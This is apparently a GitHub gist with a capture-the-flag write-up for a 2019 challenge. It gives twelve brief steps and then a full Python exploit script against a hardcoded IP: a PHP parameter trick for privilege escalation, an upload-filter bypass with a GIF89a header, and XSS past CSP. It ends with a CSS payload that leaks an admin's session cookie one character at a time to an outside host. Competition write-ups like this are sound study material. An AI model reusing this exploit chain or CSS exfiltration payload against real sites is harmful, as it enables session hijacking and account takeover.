Skip to content

Instantly share code, notes, and snippets.

@stypr
Last active September 18, 2019 09:56
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save stypr/69114d4a968d7b4623a9f752372240eb to your computer and use it in GitHub Desktop.
Save stypr/69114d4a968d7b4623a9f752372240eb to your computer and use it in GitHub Desktop.
2019 Cyber Operations Challenge Finals Pistol Exploit

Quick Summary

First-blooded this challenge. The server is down, I cannot explain briefly

  1. Comment in the website shows get_perm.php

  2. Another comment in the get_perm.php shows ?remote_debug=1.

  3. Using a php trick, you get a write post privilege.

  4. You have write posts, submit posts to admin == definitely XSS

  5. but CSP is there. img-src:*, script-src:nonce(on every refresh), and so on.

  6. On view.php, there is a image tag with src of PHPSESSID.

  7. Challenge description says the PHPSESSID is the flag.

  8. <base> tag is blocked (returns no hack msg)

  9. You can upload files by license param, but it has the extension blacklist and image header checks.

  10. header can be shortened by using GIF89a header (shortest, ASCII, very nice)

  11. html, htm, php, php5 extensions are blocked, css is not

  12. By CSS leak, it is possible to leak each byte of the admin's PHPSESSID.

After the CTF, admin said I first-blooded with the intended solution, nice!

#!/usr/bin/python -u
#-*- coding: utf-8 -*-
import os
import sys
import time
import requests
import hashlib
r = requests.Session()
def calc_pow(val):
''' calc PoW '''
i = 0
s = ""
while True:
s = str(i)
if hashlib.sha1(s).hexdigest()[-5:] == val:
return s
i += 1
def get_perm():
''' basically use php trick to escalate privilege '''
return r.get("http://52.78.192.229/get_perm.php?cred+plain%5B1]=admin").text
def get_form():
return r.get("http://52.78.192.229/request.php").text
def submit_form(title, content, pow):
files = {'license': open('exploit.css','rb')}
data = {'prod': title, 'purpose': content, 'pow': pow}
return r.post("http://52.78.192.229/request.php", files=files, data=data).text
def view_form(rid):
return r.get("http://52.78.192.229/view.php?rid=%s" % (rid,)).text
def send_form(rid):
t = r.post("http://52.78.192.229/view.php?rid=%s" % (rid,), {'rid': rid}).text
return t
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python exploit.py [flag]")
exit(-1)
''' track.php contains session '''
search_val = "/track.php?id=" + sys.argv[1]
''' write_exploit '''
css_payload = open("payload.css", "rb").read()
css_payload = css_payload.replace("{{prev}}", search_val)
exploit = open("exploit.css", "wb")
exploit.write(css_payload)
exploit.close()
''' trigger bug to get the privilege '''
get_perm()
''' upload exploit first, get the filename of css '''
resp_form = get_form()
resp_form_pow = resp_form.split("=== ")[1].split("<")[0]
proof_hash = calc_pow(resp_form_pow)
resp_submit = submit_form("OK", "good~", proof_hash)
resp_submit_url = resp_submit.split("rid=")[1].split('"')[0]
resp_view = view_form(resp_submit_url)
css_filename = resp_view.split('license" src="')[1].split('"')[0]
''' upload with the stylesheet tag with previously uploaded css file '''
resp_form = get_form()
resp_form_pow = resp_form.split("=== ")[1].split("<")[0]
proof_hash = calc_pow(resp_form_pow)
resp_submit = submit_form('<link rel=stylesheet href=%s>' % (css_filename,), 'dummy content', proof_hash)
resp_submit_url = resp_submit.split("rid=")[1].split('"')[0]
resp_view = view_form(resp_submit_url)
css_filename = resp_view.split('license" src="')[1].split('"')[0]
''' let admin see it '''
print(view_form(resp_submit_url))
print(send_form(resp_submit_url))
'''
Use socat to listen, or use http server to wait for flag
$ python exploit.py "t"
...
$ python exploit.py "th1s1sv3rys3cr3tm4g1c0fc55"
'''
GIF89a{} img[src^='{{prev}}a'] { background: url('http://harold.kim:1234/leak/a'); }
img[src^='{{prev}}b'] { background: url('http://harold.kim:1234/leak/b'); }
img[src^='{{prev}}c'] { background: url('http://harold.kim:1234/leak/c'); }
img[src^='{{prev}}d'] { background: url('http://harold.kim:1234/leak/d'); }
img[src^='{{prev}}e'] { background: url('http://harold.kim:1234/leak/e'); }
img[src^='{{prev}}f'] { background: url('http://harold.kim:1234/leak/f'); }
img[src^='{{prev}}g'] { background: url('http://harold.kim:1234/leak/g'); }
img[src^='{{prev}}h'] { background: url('http://harold.kim:1234/leak/h'); }
img[src^='{{prev}}i'] { background: url('http://harold.kim:1234/leak/i'); }
img[src^='{{prev}}j'] { background: url('http://harold.kim:1234/leak/j'); }
img[src^='{{prev}}k'] { background: url('http://harold.kim:1234/leak/k'); }
img[src^='{{prev}}l'] { background: url('http://harold.kim:1234/leak/l'); }
img[src^='{{prev}}m'] { background: url('http://harold.kim:1234/leak/m'); }
img[src^='{{prev}}n'] { background: url('http://harold.kim:1234/leak/n'); }
img[src^='{{prev}}o'] { background: url('http://harold.kim:1234/leak/o'); }
img[src^='{{prev}}p'] { background: url('http://harold.kim:1234/leak/p'); }
img[src^='{{prev}}q'] { background: url('http://harold.kim:1234/leak/q'); }
img[src^='{{prev}}r'] { background: url('http://harold.kim:1234/leak/r'); }
img[src^='{{prev}}s'] { background: url('http://harold.kim:1234/leak/s'); }
img[src^='{{prev}}t'] { background: url('http://harold.kim:1234/leak/t'); }
img[src^='{{prev}}u'] { background: url('http://harold.kim:1234/leak/u'); }
img[src^='{{prev}}v'] { background: url('http://harold.kim:1234/leak/v'); }
img[src^='{{prev}}w'] { background: url('http://harold.kim:1234/leak/w'); }
img[src^='{{prev}}x'] { background: url('http://harold.kim:1234/leak/x'); }
img[src^='{{prev}}y'] { background: url('http://harold.kim:1234/leak/y'); }
img[src^='{{prev}}z'] { background: url('http://harold.kim:1234/leak/z'); }
img[src^='{{prev}}1'] { background: url('http://harold.kim:1234/leak/1'); }
img[src^='{{prev}}2'] { background: url('http://harold.kim:1234/leak/2'); }
img[src^='{{prev}}3'] { background: url('http://harold.kim:1234/leak/3'); }
img[src^='{{prev}}4'] { background: url('http://harold.kim:1234/leak/4'); }
img[src^='{{prev}}5'] { background: url('http://harold.kim:1234/leak/5'); }
img[src^='{{prev}}6'] { background: url('http://harold.kim:1234/leak/6'); }
img[src^='{{prev}}7'] { background: url('http://harold.kim:1234/leak/7'); }
img[src^='{{prev}}8'] { background: url('http://harold.kim:1234/leak/8'); }
img[src^='{{prev}}9'] { background: url('http://harold.kim:1234/leak/9'); }
img[src^='{{prev}}0'] { background: url('http://harold.kim:1234/leak/0'); }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment